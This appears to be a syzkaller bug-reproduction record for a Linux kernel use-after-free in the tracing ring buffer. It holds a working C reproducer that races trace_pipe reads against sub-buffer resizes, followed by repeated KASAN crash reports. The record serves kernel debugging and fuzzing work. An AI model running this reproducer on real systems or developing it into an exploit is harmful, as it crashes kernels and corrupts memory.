| 0/0 |
2026/08/12 01:46 |
flow |
repro-c |
58m
Results: map[EquivalenceAnalysis:The reproducer successfully triggered the expected use-after-free bug. While the initial crash report in the console output points to `print_trace_line` or `string` instead of `ignore_event`, the underlying root cause is identical. Both the original and reproduced crashes occur during `tracing_read_pipe` when accessing trace event data that has been freed by a concurrent ring buffer resize or subbuf order change (`ring_buffer_subbuf_order_set` -> `free_buffer_page`). In fact, one of the KASAN reports in the reproduced output explicitly matches `ignore_event` at `kernel/trace/trace.c:2526`. The slight variation in the exact crashing function is expected since the freed ring buffer page is accessed by various formatting functions during the read operation. The title matches and the reproduction is successful. OtherCrashReports:<nil> ReproC:#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <errno.h>
static volatile int stop = 0;
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open trace_pipe in thread: %s\n", strerror(errno));
return NULL;
}
char buf[4096];
while (!stop) {
read(fd, buf, sizeof(buf));
}
close(fd);
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open buffer_subbuf_size_kb in thread: %s\n", strerror(errno));
return NULL;
}
while (!stop) {
if (write(fd, "4\n", 2) < 0) {
// Ignore errors, might be busy
}
if (write(fd, "8\n", 2) < 0) {
// Ignore errors
}
}
close(fd);
return NULL;
}
static void *do_syscalls(void *arg)
{
while (!stop) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
printf("[*] Setting up tracing...\n");
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) < 0) {
printf("[-] Failed to write to events/enable: %s\n", strerror(errno));
} else {
printf("[+] Enabled all tracing events.\n");
}
close(fd);
} else {
printf("[-] Failed to open events/enable: %s\n", strerror(errno));
exit(1);
}
printf("[*] Starting threads...\n");
pthread_t t1, t2, t3, t4, t5;
if (pthread_create(&t1, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 1\n");
exit(1);
}
if (pthread_create(&t2, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 2\n");
exit(1);
}
if (pthread_create(&t3, NULL, do_syscalls, NULL) != 0) {
printf("[-] Failed to create thread 3\n");
exit(1);
}
if (pthread_create(&t4, NULL, read_pipe, NULL) != 0) {
printf("[-] Failed to create thread 4\n");
exit(1);
}
if (pthread_create(&t5, NULL, write_size, NULL) != 0) {
printf("[-] Failed to create thread 5\n");
exit(1);
}
printf("[+] Threads running. Waiting for 5 seconds to trigger race...\n");
sleep(5);
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
pthread_join(t4, NULL);
pthread_join(t5, NULL);
printf("[+] Done. If no crash occurred, the race was not triggered.\n");
/* Disable events */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
if (write(fd, "0", 1) < 0) {
printf("[-] Failed to write to events/enable to disable: %s\n", strerror(errno));
}
close(fd);
}
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: use-after-free Read in print_trace_line ReproducedCrashReport:==================================================================
BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
